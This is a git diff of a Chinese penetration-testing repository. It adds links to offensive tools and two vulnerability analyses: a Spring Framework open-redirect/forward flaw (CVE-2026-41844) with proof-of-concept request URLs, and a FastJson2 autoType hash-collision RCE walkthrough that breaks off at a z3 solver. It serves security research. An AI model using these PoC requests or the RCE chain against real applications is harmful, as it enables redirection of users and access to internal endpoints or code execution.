功能](https://github.com/Muz1K1zuM/kslkatz_bof) +- [HTTP-2-Bomb-Nginx:Nginx HTTP/2 拒绝服务漏洞远程利用工具 (Remote DoS Exploit)](https://github.com/Mr-xn/HTTP-2-Bomb-Nginx) | [相关文献](https://github.com/califio/publications/tree/main/MADBugs/http2-bomb) | [相关文章](https://cybersecuritynews.com/http-2-bomb-remote-dos-exploit/) +- [reverse-skill](https://github.com/zhaoxuya520/reverse-skill):一个面向逆向工程、渗透测试和安全研究的技能路由包,支持 AI 编码助手自动选择合适的工作流和工具链,涵盖 APK、二进制、JS、CTF 等场景。 +- [freellmapi](https://github.com/tashfeenahmed/freellmapi):一个免费 LLM API 聚合服务,提供兼容 OpenAI 的统一接口,可无缝调用多个免费大模型,非常适合个人项目、教学和快速原型开发。 +- [jadx-ai-mcp](https://github.com/zinja-coder/jadx-ai-mcp):为 Jadx 提供 MCP 扩展,使 AI 工具能够直接调用本地 Jadx 进行 APK/DEX 反编译、搜索与分析,是构建 AI 驱动逆向工作流的关键组件。 +- [NebulaPulsar](https://github.com/iss4cf0ng/NebulaPulsar):一个 Java/C# WebShell 漏洞利用与植入工具,作为 Alien 项目的概念验证(PoC),适用于安全研究与漏洞利用实验。 +- [Sherlock](https://github.com/sherlock-project/sherlock) 是一款知名的 OSINT(开源情报)工具,可根据用户名在 400 多个社交平台和网站中快速检索关联账号,广泛应用于网络安全、数字取证和数字身份分析等场景。 【1-6cddc9】【2-d3117e】 +- [Aliens Eye](https://github.com/arxhr007/Aliens_eye) 是一款基于 AI 的 OSINT 用户名扫描工具,支持在 840 多个平台中搜索关联账号,并结合机器学习与启发式检测技术提升识别准确率,适用于网络安全研究和在线身份画像分析。 【3-0542c5】【4-66d668】 +- [Upload_Auto_Fuzz](https://github.com/fewftybet/Upload_Auto_Fuzz) 是一个用于自动化测试 Web 上传接口安全性的脚本工具,主要用于发现文件上传功能中的漏洞,例如任意文件上传、后缀绕过、MIME 绕过、黑名单绕过等。它属于渗透测试辅助工具,用来对目标站点的上传点进行批量 fuzz。 + + ## 文章/书籍/教程相关 @@ -2315,7 +2486,7 @@ - [特权提升技术总结之Windows文件服务内核篇(主要是在webshell命令行执行各种命令搜集信息)](https://xz.aliyun.com/t/7261)|[(项目留存PDF版本)](./books/特权提升技术总结之Windows文件服务内核篇%20-%20先知社区.pdf) - [WellCMS 2.0 Beta3 后台任意文件上传](./books/WellCMS%202.0%20Beta3%20后台任意文件上传.pdf) - [国外详细的CTF分析总结文章(2014-2017年)](https://github.com/ctfs) -- [这是一篇“不一样”的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码](./books/这是一篇"不一样"的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码-%20奇安信A-TEAM技术博客.pdf)|[原文地址](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/) +- [这是一篇“不一样”的真实渗透测试案例分析文章-从discuz的后台getshell到绕过卡巴斯基获取域控管理员密码](./books/这是一篇)|[原文地址](https://blog.ateam.qianxin.com/post/zhe-shi-yi-pian-bu-yi-yang-de-zhen-shi-shen-tou-ce-shi-an-li-fen-xi-wen-zhang/) - [表达式注入.pdf](./books/表达式注入.pdf) - [WordPress ThemeREX Addons 插件安全漏洞深度分析](./books/WordPress%20ThemeREX%20Addons%20插件安全漏洞深度分析.pdf) - [通达OA文件包含&文件上传漏洞分析](./books/通达OA文件包含&文件上传漏洞分析.pdf) @@ -2354,7 +2525,7 @@ - [windows权限提升的多种方式](https://medium.com/bugbountywriteup/privilege-escalation-in-windows-380bee3a2842)|[Privilege_Escalation_in_Windows_for_OSCP](./books/Privilege_Escalation_in_Windows_for_OSCP.pdf) - [bypass CSP](https://medium.com/bugbountywriteup/content-security-policy-csp-bypass-techniques-e3fa475bfe5d)|[Content-Security-Policy(CSP)Bypass_Techniques](./books/Content-Security-Policy(CSP)Bypass_Techniques.pdf) - [个人维护的安全知识框架,内容偏向于web](https://github.com/No-Github/1earn) -- [PAM劫持SSH密码](./PAM劫持SSH密码.md) +- [PAM劫持SSH密码](./privesc/PAM劫持SSH密码.md) - [零组资料文库-(需要邀请注册)](https://wiki.0-sec.org/) - [redis未授权个人总结-Mature](./books/redis未授权个人总结-Mature.pdf) - [NTLM中继攻击的新方法](https://www.secureauth.com/blog/what-old-new-again-relay-attack) @@ -2369,7 +2540,7 @@ - [文件上传突破waf总结](./books/文件上传突破waf总结.pdf) - [极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞](./books/极致CMS(以下简称_JIZHICMS)的一次审计-SQL注入+储存行XSS+逻辑漏洞.pdf)|[原文地址](https://xz.aliyun.com/t/7872) - [代码审计之DTCMS_V5.0后台漏洞两枚](./books/代码审计之DTCMS_V5.0后台漏洞两枚.pdf) -- [快速判断sql注入点是否支持load_file](./快速判断sql注入点是否支持load_file.md) +- [快速判断sql注入点是否支持load_file](./web/快速判断sql注入点是否支持load_file.md) - [文件上传内容检测绕过](./books/文件上传内容检测绕过.md) - [Fastjson_=1.2.47反序列化远程代码执行漏洞复现](./books/Fastjson_=1.2.47反序列化远程代码执行漏洞复现.pdf) - [【Android脱壳】_腾讯加固动态脱壳(上篇)](./books/移动安全(九)_TengXun加固动态脱壳(上篇).pdf) @@ -2893,7 +3064,7 @@ - [记一次绕过阿里云waf与某不知名waf的双waf上传getshell](./books/记一次绕过阿里云waf与某不知名waf的双waf上传getshell.html) - [针对Green VPN及加密文件的逆向实战分析](./books/针对Green%20VPN及加密文件的逆向实战分析.html) - [瑞星企业终端防病毒系统简单分析](./books/瑞星企业终端防病毒系统简单分析.html) -- [从Todesk多个漏洞浅谈远程连接程序溯源反制 ](./books/从Todesk多个漏洞浅谈远程连接程序溯源反制%20.html) +- [从Todesk多个漏洞浅谈远程连接程序溯源反制](./books/从Todesk多个漏洞浅谈远程连接程序溯源反制%20.html) - [如何快速复现挖掘一个漏洞?CodeAuditAssistant高阶技巧](./books/如何快速复现挖掘一个漏洞?CodeAuditAssistant高阶技巧.pdf) - [未授权服务加固与泛解析字符绕过](./books/未授权服务加固与泛解析字符绕过.html) - [飞塔防火墙漏洞深度利用及调试环境搭建](./books/飞塔防火墙漏洞深度利用及调试环境搭建.html) @@ -2944,8 +3115,9 @@ - [上ORM也没用!手注击穿ORM到后台](./books/上ORM也没用!手注击穿ORM到后台.html) - [Tomcat解析XML引入的新颖webshell构造方式](./books/Tomcat解析XML引入的新颖webshell构造方式.html) - [【补天白帽黑客城市沙龙-西安站】c3p0新链探索—深入挖掘数据库连接池的安全隐患](./books/【补天白帽黑客城市沙龙-西安站】c3p0新链探索—深入挖掘数据库连接池的安全隐患.html) - - +- [终极代码审计全维度清单](https://gist.github.com/Mr-xn/2af3b138cb07ca7dd3754afc3b615953) +- [FastJson2 Hash 碰撞 RCE 分析与复现](./books/FastJson2%20Hash%20碰撞%20RCE%20分析与复现.md) | [备份HTML版本](./books/FastJson2%20Hash%20碰撞%20RCE%20分析与复现.html)| [Fastjson2 泛型擦除下的 autoType 绕过](./books/Fastjson2%20泛型擦除下的%20autoType%20绕过.md) | [手撕 FastJson 1.2.83 RCE 原理](./books/手撕%20FastJson%201.2.83%20RCE%20原理.md) | [从 checkAutoType 到 defineClass:fastjson 1.2.83 @JSONType 注解探测链的完整逆向与利用](./books/从%20checkAutoType%20到%20defineClass:fastjson%201.2.83%20@JSONType%20注解探测链的完整逆向与利用.md) +- [CVE-2026-41844 Spring Framework 开放重定向漏洞浅析](./books/CVE-2026-41844%20Spring%20Framework%20开放重定向漏洞浅析.md) ## 说明 @@ -2967,8 +3139,8 @@ ## Stargazers over time -[![Stargazers over time](https://starchart.cc/Mr-xn/Penetration_Testing_POC.svg)](https://starchart.cc/Mr-xn/Penetration_Testing_POC) +![Stargazers over time](https://starchart.cc/Mr-xn/Penetration_Testing_POC) ### 最后,选一个屁股吧! -![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg) \ No newline at end of file +![](https://ooo.0o0.ooo/2017/06/13/593fb9335fe9c.jpg) diff --git a/books/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf b/books/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf new file mode 100644 index 000000000..7a53224b7 Binary files /dev/null and b/books/Asia-26-Bai-Cast-Attack-Ghost-Bits-4.23.pdf differ diff --git "a/books/CVE-2026-41844 Spring Framework \345\274\200\346\224\276\351\207\215\345\256\232\345\220\221\346\274\217\346\264\236\346\265\205\346\236\220.md" "b/books/CVE-2026-41844 Spring Framework \345\274\200\346\224\276\351\207\215\345\256\232\345\220\221\346\274\217\346\264\236\346\265\205\346\236\220.md" new file mode 100644 index 000000000..cacc45f5c --- /dev/null +++ "b/books/CVE-2026-41844 Spring Framework \345\274\200\346\224\276\351\207\215\345\256\232\345\220\221\346\274\217\346\264\236\346\265\205\346\236\220.md" @@ -0,0 +1,219 @@ +# CVE-2026-41844 Spring Framework 开放重定向漏洞浅析 +> QIANXIN Team +> 来源:https://forum.butian.net/share/4951 + +# 0x00 CVE-2026-41844 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7aff2d3e51062d3e9e80e4782993df689e9f780d.png) +**主要影响范围:** + +Spring Framework: + +- 7.0.0 - 7.0.7 +- 6.2.0 - 6.2.18 +- 6.1.0 - 6.1.27 +- 5.3.0 - 5.3.48 + +以及不再支持维护的版本同样受到影响。 + +# 0x01 漏洞分析与复现 + +## 1.1 分析过程 + +以spring-webmvc 6.0.7为例。 + +当Spring MVC接收到请求时,Servlet容器会调用DispatcherServlet的service方法(方法的实现在其父类FrameworkServlet中定义): + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7a6ba78d145096ca19d0db32a7a1f01aa2e8838c.png) + +经过一系列的处理后,会调用doDispatch方法处理: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-71d0c79c4f4784f9079b3da74df6dbe0009daa50.png) + +在doDispatch方法中,经过一系列处理获取到url 和 Handler 映射关系后(HandlerAdapter),springMVC就可以根据请求的uri来找到对应的Controller和method,然后处理和响应请求。详细的分析可见[https://forum.butian.net/share/2214](https://forum.butian.net/share/2214) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-9e259a96ec119b855f92b25d5a18c5a907a688fb.png) + +找到对应的HandlerAdapter后,会调用对应的Handler方法,也就是执行Controller里的业务逻辑了,执行完成之后会返回一个ModleAndView对象,然后渲染视图并进行返回,这里的逻辑是本次漏洞的分析的关键: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-4e164661dc717221e5ba9e65bee6bcbd9f69c78f.png) + +在获取到ModelAndView对象后,这里会调用applyDefaultViewName处理,这里是Spring 的默认视图解析逻辑: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-58c3dd615e1cf07bbb5dd51174fddb0de5e1b5f9.png) + +查看具体的代码逻辑,首先检查 mv 是否为 null(如果代码添加了 `@ResponseBody` 注解,mv 就为 null),然后判断 mv 中是否包含视图,如果对应的Controller代码中未显式指定视图名时,则调用 getDefaultViewName 方法去获取默认的视图名,并将获取到的默认视图名赋值给 mv: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-d7d6ddf0a277d092e9bea01c93c20074d9959680.png) + +查看getDefaultViewName,看看具体获取默认视图名的逻辑: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-8665985be7d37bcdd595bf1649a76bb93d873e1e.png) + +这里会继续调用viewNameTranslator#getViewName方法对请求进行处理。 + +viewNameTranslator 其实是 RequestToViewNameTranslator: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cc432e55fa31276957246359535910482e376bbf.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-5af491a5a2a1957664273a91e18d4c5bc9b7bfe2.png) + +本质上,在 SpringMVC 中,RequestToViewNameTranslator 接口只有一个默认的实现类DefaultRequestToViewNameTranslator,WebFlux 则是ViewResolutionResultHandler 。 + +在DefaultRequestToViewNameTranslator#getViewName方法中,**会从请求路径中直接提取字符串作为视图名**: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cc9a702a17b6ab267cccef0cc06411855c60952f.png) + +ServletRequestPathUtils#getCachedPathValue方法是统一获取请求路径的方法。具体的解析可见[https://forum.butian.net/share/2606。](https://forum.butian.net/share/2606%E3%80%82) + +提取完请求路径后,会通过 transformPath 方法对路径进行处理,再分别加上前后缀后返回,默认的前后缀都是空字符串(如有需要,也可以进行配置)。 + +transformPath 方法则主要功能如下: + +1. 去掉路径开始的 `/` +2. 去掉路径结尾的 `/` +3. 如果请求路径有扩展名,则去掉扩展名,例如请求路径是 `/1.txt`,经过这一步处理后,就变成了 `/1` + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-cabe7d1f2f688feb30ce83e602883b60633d4017.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b569289a69ddddbbb63b69d4088baeb90dcb381f.png) + +4. 如果 separator 与 SLASH 不同,则替换原来的分隔符(一般情况下,默认是相同的)。 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-9a8dd48be68c7b588415fbcdf9a163aff861b552.png) + +这里以如下Controller为例: + +```java +@GetMapping("/**") +public void catchAll() { + +} +``` + +当正常请求/demo时,可以看到,因为没有显示指定视图,所以ModelAndView对象里的内容均为null: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-885d2da684b8f5a4ce13decea316679d13a992bb.png) + +经过applyDefaultViewName方法处理后,取得对应的视图名,也就是默认的请求路径demo: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-7d86b67bbbe0dad2687f3a3717aaba56ee4c7cd5.png) + +这里也就得到了漏洞的第一个成因:**当 Spring MVC 或 Spring WebFlux 应用未显式指定视图名时,视图名会默认从请求路径提取。** + +处理完上述的一系列逻辑后,会调用processDispatchResult()进行异常处理、请求状态及触发请求完成事件,视图的渲染工作则交给了render()方法: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-c36c4f4dd4039691a506504fad537eb00ce93beb.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-63fe84eca740d397c9f3eb8b3e10b0be961c3c7d.png) + +render()渲染过程中,如果ModelAndView中的viewName不为空,则调用resolveViewName从视图解析器获取对应的视图对象;否则使用ModelAndView#getview方法获取视图对象。 + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-47486c2f5fd2e80dead1e2c717ceef4e478c414c.png) + +这里会进一步调用getCandidateViews方法进行处理,然后遍历所有的视图解析器,进行视图的创建与解析: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-059fe15e5edc2d21ce0d817a38fb4e2862bd78c4.png) + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-a8dcc54516ca04b8fb24d08c26fdc02eeb8bbbc2.png) + +而UrlBasedViewResolver会识别视图名中的特殊前缀,例如`redirect:` 会被解析为重定向,返回 302 响应跳转到后续指定的地址: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-883fb90a08d3b922e3bab52d123f338e124d376d.png) + +至此,CVE-2026-41844的完整链路大致梳理清楚了。下面是具体的漏洞复现过程。 + +## 1.2 漏洞复现 + +以SpringMVC为例: + +相关环境直接使用[https://github.com/andbin/spring-boot3-thymeleaf-basic-demo](https://github.com/andbin/spring-boot3-thymeleaf-basic-demo) 进行验证。 + +根据前面的分析,可以定义一个Controller如下: + +```TypeScript +@Controller +public class MyController { + + @GetMapping("/**") + public void catchAll() { + + } +} +``` + +启动对应的application后,只需访问`http://ip:port/redirect:https://www.attack.com.any`,通过302跳转后即可重定向到`https://www.attack.com` + +注意,根据前面的分析,在通过请求获取默认视图时,如果请求路径有扩展名,则去掉扩展名,这个拓展名会通过结尾最后一个`.`来区分。也就是说类似`www.attack.com`会被处理成`www.attack`,所以在最后构造poc时,要在实际跳转的域名后,增加类似`.any`的后缀,避免截断后无法正常跳转。 + +下面是具体的效果: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-b5e7b1741dde33d857d6b27e8de8c321f5efee63.png) + +forward的转发同理,先定义一个转发的目标: + +```TypeScript + +@GetMapping("/internal/secret") +@ResponseBody public String internalEndpoint() { + return "[敏感信息] 内部系统配置接口,仅内网可访问"; +} +``` + +只需请求`http://ip:port/forward:/internal/secret`即可成功转发: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ed9f63a43f4960e31a4fa7b0adeaf4fae9b0cd48.png) + +Spring WebFlux同理,这里就不再赘述了。 +另外,WebFlux 原生不支持 `forward:` 内部转发,因此仅受 `redirect:` 开放重定向影响。 + +## 1.3 {\*spring}模式 + +在官方的漏洞通告中,仅仅提到了`/**`的场景,实际上Spring5及之后的PathPattern解析模式,还支持类似`{*spring}`的写法,与`/**`大同小异,那么是否也会存在风险呢? + +查看官方文档: + +Representation of a parsed path pattern. Includes a chain of path elements for fast matching and accumulates computed state for quick comparison of patterns. + +`PathPattern` matches URL paths using the following rules: + +- `?` matches one character +- `*` matches zero or more characters within a path segment +- `**` matches zero or more _path segments_ until the end of the path +- `{spring}` matches a _path segment_ and captures it as a variable named "spring" +- `{spring:[a-z]+}` matches the regexp `[a-z]+` as a path variable named "spring" +- `{*spring}` matches zero or more _path segments_ until the end of the path and captures it as a variable named "spring" + +**Note:** In contrast to `[AntPathMatcher](https://docs.spring.io/spring-framework/docs/current/javadoc-api/org/springframework/util/AntPathMatcher.html)`, `**` is supported only at the end of a pattern. For example, `/pages/{}` is valid but `/pages/{}/details` is not. The same applies also to the capturing variant `{*spring}`. The aim is to eliminate ambiguity when comparing patterns for specificity. + +根据官方文档的描述,其实`**`跟AntPathMatcher匹配规则区别不大,PathPattern在保持其匹配规则的基础上,新增了`{*spring}`的语法支持。 + +`{*spring}`表示匹配余下的path路径部分并将其赋值给名为spring的变量(变量名可以根据实际情况随意命名,与`@PathVariable`名称对应即可)。同时,`{*spring}`是可以匹配剩余所有path的,类似`/**`,只是功能更强,可以获取到这部分动态匹配到的内容。 + +```TypeScript +@GetMapping("/{*path}") +public void catchAll() { + +} +``` + +可以发现,同样成功利用,这里与`/**`的配置区别只是解析模式的不同,不影响具体的漏洞触发: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-e01c770706eb665d265e0ca566f554beeb8810ad.png) + +# 0x02 利用条件 + +综上所述,相关漏洞的利用条件可以总结如下: + +1. 使用 Spring MVC 或 Spring WebFlux 框架 +2. 配置了类似 `/**` 通配符路径与`{*path}`映射(如全局视图路由) +3. 对应路径的处理器未显式指定视图名称,依赖 Spring 自动从请求路径推导 +4. 使用了继承自 `UrlBasedViewResolver` 的视图解析器(Thymeleaf等主流视图技术默认均满足) + +# 0x03 修复方案 + +官方具体修复如下:[https://github.com/spring-projects/spring-framework/blob/v6.2.19/spring-webmvc/src/main/java/org/springframework/web/servlet/view/DefaultRequestToViewNameTranslator.java](https://github.com/spring-projects/spring-framework/blob/v6.2.19/spring-webmvc/src/main/java/org/springframework/web/servlet/view/DefaultRequestToViewNameTranslator.java) + +通过请求获取完视图名后,新增对 `redirect:`、`forward:` 两个危险前缀的开头匹配校验。当匹配到危险前缀时直接抛出非法参数异常,由 Spring MVC 异常处理器转为 `400 Bad Request` 响应: + +![image.png](https://cdn-yg-zzbm.yun.qianxin.com/attack-forum/2026/07/attach-ca608ed0990abedcfab14ae5c7667b9cea773cff.png) diff --git "a/books/FastJson2 Hash \347\242\260\346\222\236 RCE \345\210\206\346\236\220\344\270\216\345\244\215\347\216\260.html" "b/books/FastJson2 Hash \347\242\260\346\222\236 RCE \345\210\206\346\236\220\344\270\216\345\244\215\347\216\260.html" new file mode 100644 index 000000000..6ec3eb20b --- /dev/null +++ "b/books/FastJson2 Hash \347\242\260\346\222\236 RCE \345\210\206\346\236\220\344\270\216\345\244\215\347\216\260.html" @@ -0,0 +1,1094 @@ + + + + + Industrial Markdown Renderer (Graphviz Stable + Mermaid) + + + + + + + + + + + +
+ + +

FastJson2 Hash 碰撞 RCE 分析与复现

+
+

来源:https://xz.aliyun.com/news/92608

+
+

前置说明

+

参考: https://mp.weixin.qq.com/s/LJaul1jNjK9pXRAkoUiMEA, 来跟进一下漏洞原理.

+

测试使用的依赖:

+
<dependencies>
+    <!-- fastjson2 核心 -->
+    <dependency>
+        <groupId>com.alibaba.fastjson2</groupId>
+        <artifactId>fastjson2</artifactId>
+        <version>2.0.53</version>
+    </dependency>
+</dependencies>
+

默认场景

+

总结一下 FastJson2 下的 autotype 如何使用, 首先是指明第二个参数为一个 JavaBean 的场景, 传参不使用 autotype:

+
// ────────────────────────────────────────────────────────────
+// 1. 基础反序列化: 把 JSON 字符串解析成 Java 对象
+// ────────────────────────────────────────────────────────────
+String json = "{\"name\":\"admin\",\"age\":28,\"email\":\"admin@lab.local\"}";
+User user = JSON.parseObject(json, User.class);
+System.out.println("[1] 基础反序列化:");
+System.out.println("    输入: " + json);
+System.out.println("    输出: " + user);
+System.out.println();
+
+// ────────────────────────────────────────────────────────────
+// 2. 基础序列化: 把 Java 对象转回 JSON 字符串
+// ────────────────────────────────────────────────────────────
+String reJson = JSON.toJSONString(user);
+System.out.println("[2] 基础序列化:");
+System.out.println("    输入: " + user);
+System.out.println("    输出: " + reJson);
+System.out.println();
+
+/*
+[1] 基础反序列化:
+    输入: {"name":"admin","age":28,"email":"admin@lab.local"}
+    输出: User{name='admin', age=28, email='admin@lab.local'}
+
+[2] 基础序列化:
+    输入: User{name='admin', age=28, email='admin@lab.local'}
+    输出: {"age":28,"email":"admin@lab.local","name":"admin"}
+*/
+

当然如果使用带 @type 的场景, 如下:

+
String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+
+// 不指定目标类,解析成 JSONObject
+Object obj = JSON.parse(jsonWithType);
+System.out.println("[3] 带 @type 的 JSON, 不开启 SupportAutoType:");
+System.out.println("    输入: " + jsonWithType);
+System.out.println("    解析结果类型: " + obj.getClass().getName());
+System.out.println("    解析结果: " + obj);
+if (obj instanceof JSONObject) {
+    JSONObject jo = (JSONObject) obj;
+    System.out.println("    @type 字段值: " + jo.getString("@type"));
+    System.out.println("    ↑ @type 被当作普通字段保留了,没有触发类加载");
+}
+System.out.println();
+/*
+[3] 带 @type JSON, 不开启 SupportAutoType:
+    输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
+    解析结果类型: com.alibaba.fastjson2.JSONObject
+    解析结果: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
+    @type 字段值: com.heihu577.model.User
+    ↑ @type 被当作普通字段保留了,没有触发类加载
+*/
+

默认会反序列化成com.alibaba.fastjson2.JSONObject类对象, 除非第二个参数指明为一个 JavaBean:

+
User u2 = JSON.parseObject(jsonWithType, User.class);
+System.out.println("[4] 带 @type 的 JSON, 指定目标类 User.class (不开 SupportAutoType):");
+System.out.println("    输入: " + jsonWithType);
+System.out.println("    输出: " + u2);
+System.out.println("    ↑ 反序列化成功,但 @type 字段被忽略 (User 没有 @type 属性)");
+System.out.println();
+
+/*
+[4] 带 @type JSON, 指定目标类 User.class (不开 SupportAutoType):
+    输入: {"@type":"com.heihu577.model.User","name":"alice","age":25,"email":"alice@lab.local"}
+    输出: User{name='alice', age=25, email='alice@lab.local'}
+*/
+

解析流程

+

根据当前解析结果来看, fastjson2 是能够正常解析@type字段的, 只不过若不指明第二个参数则会先被转化为JSONObject, 对原有的 JSON 对 User 类打上断点查看一番:

+

95c4a05c-be99-4587-af3b-91e6a68decfd.png

+

那么必然与 fastjson 1.x 的处理逻辑相同, 通过字节码编辑技术在内存中定义了字节码信息, 这里有两种思路定位到字节码文件:

+

●通过 arthas 将该类的字节码导出

+

●找到更深层次 ASM 操作部分, 将字节码写入到硬盘进行反编译

+

通过思路 2, 最终调用栈如下:

+
at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.jitObjectReader(ObjectReaderCreatorASM.java:594)
+at com.alibaba.fastjson2.reader.ObjectReaderCreatorASM.createObjectReader(ObjectReaderCreatorASM.java:327)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReaderInternal(ObjectReaderProvider.java:845)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:763)
+at com.alibaba.fastjson2.JSON.parseObject(JSON.java:858)
+at com.heihu577.demo.Demo01Basic.run(Demo01Basic.java:29)
+at com.heihu577.demo.Demo01Basic.main(Demo01Basic.java:17)
+

导出一波:

+

1bf88f69-0121-464c-987d-ac4ebed50e17.png

+

最终我们可以看到字节码信息:

+

efbdf9ee-7776-4885-9e48-8bfeee4516b8.png

+

这里说明一下实验时失败的尝试(ASM 输出并没有携带行号信息导致无法 Debug), 首先将导出出来的字节码符合包名结构, 保存到 jar 中:

+

dafa3b01-f783-402b-b46e-59f496e6d299.png

+

随后增加 classpath, 并且将其置顶:

+

42b9238b-cd2c-4ca7-8db5-bc1388b5887c.png

+

但是由于该字节码由 ASM 生成, 导致不存在行号信息, 可以安装: https://github.com/Col-E/Recaf/releases/tag/4.0.0-alpha 中的recaf-launcher-gui-0.8.8.jar来进行修复行号, 需要注意的是首次运行需要要求安装依赖库(javaFX 等), 使用 proxychains4 运行该 jar 进行安装可加快速度. 但在实际场景中发现反编译存在错误信息:

+

e4282e04-04bf-4e50-b5ec-1bfc3076e8bd.png

+

正常会调用该字节码的 readObject 方法, 并且整个 ASM 中不存在反射的逻辑:

+

1b1518ab-74f4-4a26-a11b-8f90ef443d86.png

+

但部分方法会调用 checkAutoType:

+

4f43bffc-7b9e-4a38-a899-4f6fb0955563.png

+

RCE 场景

+

参考: https://mp.weixin.qq.com/s/4jl2kv_JRSDUAUZyc1jw5A, 官网的 commit 记录中存在对 payload 的测试记录:

+

b5b3ca4b-df8e-45db-9908-075fbdefd7ec.png

+

可以看到期望类定义为了 Object, Debug 看一下:

+
package com.heihu577.demo;
+
+import com.alibaba.fastjson2.JSON;
+
+public class Demo {
+    public static void main(String[] args) {
+        String jsonWithType = "{\"@type\":\"com.heihu577.model.User\",\"name\":\"alice\",\"age\":25,\"email\":\"alice@lab.local\"}";
+
+        // 指明类型为 Object.class
+        Object obj = JSON.parseObject(jsonWithType, Object.class);
+        System.out.println(obj);
+    }
+}
+

调用栈为:

+
at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
+at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
+at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119)
+at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
+at com.heihu577.demo.Demo.main(Demo.java:10)
+

可以看到这里并不是主动生成的 ASM, 当期望类指明为Object时而是系统提供的ObjectReaderImplObject类, 由provider.getObjectReader选择而来:

+

abc56426-51dd-4907-b865-168673fe89e4.png

+

在ObjectReaderImplObject::readObject反序列化流程中会判断是否开启了 checkAutoType:

+

8b01895c-b5bd-4d02-b94f-279eafb5b1f6.png

+

随后经过调用栈:

+
at com.alibaba.fastjson2.reader.ObjectReaderProvider.checkAutoType(ObjectReaderProvider.java:554)
+at com.alibaba.fastjson2.reader.ObjectReaderProvider.getObjectReader(ObjectReaderProvider.java:530)
+at com.alibaba.fastjson2.JSONReader$Context.getObjectReaderAutoType(JSONReader.java:4194)
+at com.alibaba.fastjson2.reader.ObjectReaderImplObject.readObject(ObjectReaderImplObject.java:119)
+at com.alibaba.fastjson2.JSON.parseObject(JSON.java:864)
+at com.heihu577.demo.Demo.main(Demo.java:10)
+

可以看到能够正常走到checkAutoType方法中, 该方法中如果发现开启了 SafeMode 则直接 null(漏洞缓解措施, 默认不开启):

+

5e0aa420-973a-4fa2-8376-eb7af088ca56.png

+

而后面的逻辑存在一个黑白名单校验的缺陷:

+

bb1087af-b01f-4919-a6c2-ffa74baa294c.png

+

即使没有开启 autotype 功能, 同样会进入 hash 比较的逻辑, 那么如果这里的 hash 能够被暴力破解或其他手段猜测出来(由于这里 Hash 值的判断是根据结果进行判断,而过程中不同的字符参与异或|乘法运算是会存在冲突的结果的), 那么则会进入 loadClass 逻辑:

+

1f220816-5521-45e6-8bf6-cd2c6f22b688.png

+

又是一段经典的 ClassLoader::loadClass, 与fastjson 1.2.83中的原理相同. 若该 ClassLoader 为 SpringBoot 的 URLClassLoader 即可进行远程类加载.

+

hash 解密 & payload 调试

+

参考: https://zhuanlan.zhihu.com/p/30548907 & https://ctf-wiki.org/reverse/tools/constraint/z3/ & https://www.freebuf.com/articles/web/232002.html

+

由于 FNV 算法使用了^= & *=进行做位运算, 所以能列成方程组来解表达式:

+
#!/usr/bin/env python3
+"""
+FNV-1a 64 位哈希碰撞求解器 (z3)
+
+对标 fastjson2 2.0.53 Fnv.hashCode64 的实现:
